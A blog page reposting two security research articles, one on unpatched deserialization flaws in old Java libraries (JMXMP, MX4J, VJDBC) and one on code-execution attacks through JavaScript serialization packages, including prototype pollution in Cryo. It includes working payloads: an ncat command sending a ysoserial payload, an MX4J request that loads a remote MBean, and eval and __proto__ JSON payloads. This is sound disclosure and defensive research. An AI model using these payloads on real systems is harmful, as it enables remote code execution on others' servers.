Показаны сообщения с ярлыком deserialization. Показать все сообщения
Показаны сообщения с ярлыком deserialization. Показать все сообщения

четверг, 27 февраля 2020 г.

The curse of old Java libraries

(It's a repost from https://www.acunetix.com/blog/web-security-zone/old-java-libraries/

Java is known for its backward-compatibility. You can still execute code that was written many years ago, as long as you use an appropriate version of Java. Thanks to this feature, modern projects use a wide range of libraries that have been “tested by time” in production. However, such libraries are often left unsupported by maintainers for a long time. As a result, when you discover a vulnerability in a library, you may find it very hard to report the issue and to warn the developers who use that library.

Here are a few examples of such problems related to old libraries, which I recently came across when exploiting vulnerabilities as part of various bug bounty programs.

JMX and JMXMP

JMX (Java Management Extensions) is a well-known and widely-used technology for monitoring and managing Java applications. Since the Java deserialization “apocalypse”, it is perceived as quite notorious for security specialists. JMX uses the RMI protocol for transport purposes, which makes it inherently vulnerable to Java deserialization attacks. However, Oracle introduced the specification JEP-290 (JDK ≥ 8u121, ≥ 7u131, ≥ 6u141), which made such attacks much harder.

It turns out that according to the JMX specification (JSR-160), JMX also supports other transport protocols (called connectors), including the JMX Messaging Protocol (JMXMP) – a protocol specially created for JMX. However, this protocol was not included in Java SE and so it never became popular. One of the main advantages of JMXMP in comparison to RMI is the fact that JMXMP requires only one TCP port (RMI uses one static port for the RMI registry and another dynamically chosen port for actual interaction with a client). This fact makes JMXMP much more convenient when you need to restrict access using a firewall or when you want to set up port forwarding.

Despite the fact that libraries implementing JMXMP (jmxremote_optional.jar, opendmk_jmxremote_optional_jar-1.0-b01-ea.jar) have not been updated for at least ten years, JMXMP is still alive and used from time to time. For example, JMXMP is used in the Kubernetes environment and support for JMXMP has recently been added to Elassandra.

The problem with JMXMP is that this protocol completely relies on Java serialization for data transfer. At the same time, Oracle patches for JMX/RMI vulnerabilities don’t cover JMXMP, which makes it open to the Java deserialization attack. To exploit this vulnerability, you don’t even need to understand the protocol or the format of the data, just send a serialized payload from ysoserial directly to a JMXMP port:

ncat target.server.com 11099 < test.jser

If you cannot exploit this Java deserialization vulnerability (due to the lack of gadgets in the application classpath), you still can use other methods like uploading your MBean or misusing existing MBean methods. In order to connect to such JMX, you need to download the necessary package, add it to the classpath, and use the following format to specify the JMX endpoint: service:jmx:jmxmp://target.server.com:port/.

For example:

jconsole -J-Djava.class.path="%JAVA_HOME%/lib/jconsole.jar";"%JAVA_HOME%/lib/opendmk_jmxremote_optional_jar-1.0-b01-ea.jar" service:jmx:jmxmp://target.server.com:port/

You can also use MJET but it requires similar changes to the code.

MX4J

MX4J is an open-source implementation of JMX. It also provides an HTTP adapter that exposes JMX through HTTP (it works as a servlet). The problem with MX4J is that by default it doesn’t provide authentication. To exploit it, we can deploy a custom MBean using MLet (upload and execute the code). To upload the payload, you can use MJET. To force MX4J to get the MBean, you need to send a GET request to:

/invoke?objectname=DefaultDomain:type=MLet&operation=getMBeansFromURL&type0=java.lang.String&value0=http://yourserver/with/mlet

MX4J has not been updated for 15 years, but it is used by such software as Cassandra (in a non-default configuration). Your “homework” now is to look deeper into it and search for vulnerabilities. Note the use of hessian and burlap protocols as JMX-connectors, which are also vulnerable to deserialization attacks in a default configuration.

VJDBC

Virtual JDBC is an old library that provides access to a database using JDBC via other protocols (HTTP, RMI). In the case of HTTP, it provides a servlet, which you can use to send a special HTTP request that includes an SQL query and receive a result from a DB used by the web application. Unfortunately, VJDBC also uses Java serialization (via HTTP) to interact with the servlet.

If you use Google to search for this term, you will find that almost every search result is related to SAP Hybris. SAP Hybris is a major eCommerce/CRM platform used by many large enterprises. By default, SAP Hybris exposes the vjdbc-servlet that is vulnerable to an RCE caused by Java deserialization – CVE-2019-0344 (and which had other serious security issues in the past as well). A test for this vulnerability was added to Acunetix in September 2019. Unfortunately, it looks like SAP fixed only their internal version of VJDBC, and therefore all other software that depends on this library is vulnerable and its creators are probably unaware of the problem.

No Way Out

I was unable to report vulnerabilities in these libraries. For example, in the case of JMXMP, Oracle doesn’t support JDMK anymore at all. The only thing I could do is send reports directly to big projects that use these vulnerable libraries. I also wanted to use this article to increase awareness so please share it if you believe any of your colleagues might be using these libraries.

If you still rely on these libraries, try to find a safe alternative. If it’s impossible, restrict access to them and/or use process-level filters described in JEP-290 to protect against deserialization and/or put the application in a sandbox. Also, since these are open-source libraries, you can patch them manually.

Also, whenever you’re planning to use a package/library, make sure that it’s still supported and that there are still maintainers. In all the above cases, if maintainers still supported these projects, they could easily find and fix such vulnerabilities.

It would also be great if in the future Java and other languages would get a centralized method for reporting vulnerabilities in public packages/libraries, similar to the excellent central reporting system for Node.js.

четверг, 19 июля 2018 г.

Deserialization Vulnerabilities: Attacking Deserialization in JS

(It's a repost from https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)

At ZeroNights 2017 conference, I spoke about “Deserialization vulnerabilities in various languages”. For my presentation, I used an interesting article about two serialization packages of Node.js. I showed them as examples of vulnerable implementations of deserialization processes. In this post, I’d like to show results of my own research and a new approach of attacking deserialization in JS.

Previous research

The article mentioned above talks about two packages – node-serialize and serialize-to-js. Both of them can serialize an object in JSON format, but unlike standard functions (JSON.parse, JSON.stringify), they allow the serialization of almost any kind of object, such as Function, for example (i.e in JavaScript, a function is an object too). So, it’s a valid object:
var obj = {
    field1: "value1",
    field2: function(){
        return 1;
        }
}
But if we serialize it using JSON.stringify, we have only:
{ field1: "value1" }
To implement support of all kinds of objects, node-serialize, internally uses eval.
{"anything_here":"_$$ND_FUNC$$_function (){сonsole.log(1)}"}
This is what a serialized object with a function should look like. During the deserialization process, anything after a special tag $$ND_FUNC$$ goes directly to eval function. Therefore, we can use IIFE (as mentioned in the article) or write code directly (as mentioned in the article‘s comment).

With IIFE (Immediately-Invoked Function Expression), all we need to do is add () to a function and it will be automatically invoked just after it will be defined during deserialization.
{"anything_here":"_$$ND_FUNC$$_function (){сonsole.log(1)}()"}
{"anything_here":"_$$ND_FUNC$$_console.log(1)"}
The next example is serialize-to-js. Although it doesn’t support function as a type, its implementation is still insecure due to the fact that it uses next construction during the deserialization process:
return (new Function('"use strict"; return ' + str))()
where str is a value under the attacker’s control.
Practically, it’s just a variation of eval. So we can achieve RCE using the following payload as seen in the following issue:
console.log(`exploited`)
(function (){сonsole.log(1)}())

The safer way?

After my presentation at ZeroNights, I came across a package for serialization from Yahoo. It supports serialization of functions too. However, the package doesn’t include any deserialization functionality and requires you to implement it yourself. Their example uses eval directly. So I was interested to see if there were any packages supporting function serialization and did not use eval or similar functions.

Actually, there are a lot of serialization libraries (about 40 or 60). I looked through some of them and found that a safer way of deserialization is to use different constructors depending on an object type.

For example, a package returns new Function(params, body) for a function, where params and body are taken from specific JSON fields. In this case, the function is reconstructed, however an attacker cannot force its execution.

I’ve also found another vulnerable package funcster. It is vulnerable to the same attack using IIFE as previous ones, so we (as attackers) can execute our code during the deserialization process. Here is an example of a payload:
{ __js_function: 'function testa(){var pr = this.constructor.constructor("return process")(); pr.stdout.write("param-pam-pam") }()' }
The package uses another approach for serialization/deserialization. During deserialization it creates a new module with exported functions from a JSON file. Here is part of the code:
return "module.exports=(function(module,exports){return{" + entries + "};})();";
The interesting difference here is that the standard built-in objects are not accessable, because they are out of scope. It means that we can execute our code, but cannot call build-in objects’ methods. So if we use console.log() or require(something), Node returns an exception like "ReferenceError: console is not defined".

However, we can easily can get back access to everything because we still have access to the global context:
var pr = this.constructor.constructor("console.log(1111)")();
Here this.constructor.constructor gives us Function object, we set our code as a parameter there and call it using IIFE.

Step deeper with Prototype

While I was researching packages, I stumbled upon the idea to look at other approaches of attacks on deserialization, which are used in other languages. To achieve code execution we leverage functions with attacker’s controlled data which are called automatically during the deserialization process or after when an application interacts with a newly created object. Something similar to “magic methods” in other languages.

Actually, there are a lot of packages which work completely differently, still after some experiments I came to an interesting semi-universal attack. It is based on two facts.

Firstly, many packages use the next approach in the deserialization process. They create an empty object and then set its properties using square brackets notations:
obj[key]=value
where key and value are taken from JSON

Therefore we as attackers are able to control practically any property of a new object. If we look through the list of properties, our attention comes to the cool __proto__ property . The property is used to access and change a prototype of an object. This means that we can change the object’s behavior and add/change its methods.

Secondly, a call of some function leads to the invoking of the function arguments’ methods. For example, when an object is converted to a string, then methods valueOf, toString of the object are called automatically (more details here). So, console.log(obj) leads to invocation of obj.toString(). Another example, JSON.stringify(obj) internally invokes obj.toJSON().

Using both of these features, we can get remote code execution in process of interaction between an application (node.js) and an object.

I’ve found a nice example – package Cryo, which supports both function serialization and square bracket notation for object reconstruction, but which isn’t vulnerable to IIFE, because it properly manages object (without using eval&co).

Here a code for serialization and deserialization of an object:
var Cryo = require('cryo');
var obj = {
     testFunc : function() {return 1111;}
};

var frozen = Cryo.stringify(obj);
console.log(frozen)

var hydrated = Cryo.parse(frozen);
console.log(hydrated);
Serialized JSON looks like that. Pretty tangled:
{"root":"_CRYO_REF_1","references":[{"contents":{},"value":"_CRYO_FUNCTION_function () {return 1111;}"},{"contents":{"testFunc":"_CRYO_REF_0"},"value":"_CRYO_OBJECT_"}]}
For our attack we can create a serialized JSON object with a custom __proto__. We can create our object with our own methods for the object’s prototype, but as a small trick, we can set an incorrect name for __proto__ (because we don’t want to rewrite a prototype of the object in our application) and serialize it.
var obj = {
    __proto: {
        toString: function() {console.log("defconrussia"); return 1111;},
        valueOf: function() {console.log("defconrussia"); return 2222;}
    }
};
So we get serialized object and rename from __proto to __proto__ in it:
{"root":"CRYO_REF_3","references":[{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\"defconrussia\"); return 1111;}"},{"contents":{},"value":"_CRYO_FUNCTION_function () {return 2222;}"},{"contents":{"toString":"_CRYO_REF_0","valueOf":"_CRYO_REF_1"},"value":"_CRYO_OBJECT"},{"contents":{"proto":"CRYO_REF_2"},"value":"_CRYO_OBJECT"}]}
When we send that JSON payload to an application, the package Cryo deserializes the payload in an object, but also changes the object’s prototype to our value. Therefore, if the application interacts with the object somehow, converts it to a sting, for example, then the prototype’s method will be called and our code will be executed. So, it’s RCE.

I tried to find packages with similar issues, but most of them didn’t support serialization of function. I didn’t find any other way to reconstruct functions in __proto__. Nevertheless, as many packages use square bracket notation, we can rewrite __proto__ for them too and spoil prototypes of newly created objects. What happens when an application calls any prototype method of such objects? It may crash due to an unhandled TypeError exception.

In addition, I should mention that the whole idea potentially works for deserialization from any format (not only JSON). Once both features are in place, a package is potentially vulnerable. Another thing is that JSON.parse is not “vulnerable” to __proto__ rewriting.

function stringify == eval

While Googling, I came across another approach of serializing objects with fuctions. The idea is to first stringify functions, then to JSON.stringify the whole object. “Deserialization” consists of the same steps in reverse order. Examples of such function-stringifiers are packages cardigan, nor-function and so on. All(?) of them are insecure (due to eval & co) and allow code execution using IIFE during unstringifying.

Conclusion

For pentesters: Look closely at square bracket notation and access to __proto__. It has good potential in some cases.

For developers: I’m writing here that some packages are vulnerable, but your application is only vulnerable when a user’s input comes to the vulnerable function. Some packages are created in such an “insecure” way ion purpose and will not be fixed. So don’t panic, and just check if you depend on a non-standard serialization package and how you handle user’s input in it.

I shared information about both vulnerabilities with their maintainers using HackerOne’s program. A warning message has been added to `funcster` package’s README. We were not able to reach cryo’s developers.

PS: Thanks @lirantal from HackerOne for his cooperation on the above mentioned vulnerabilities.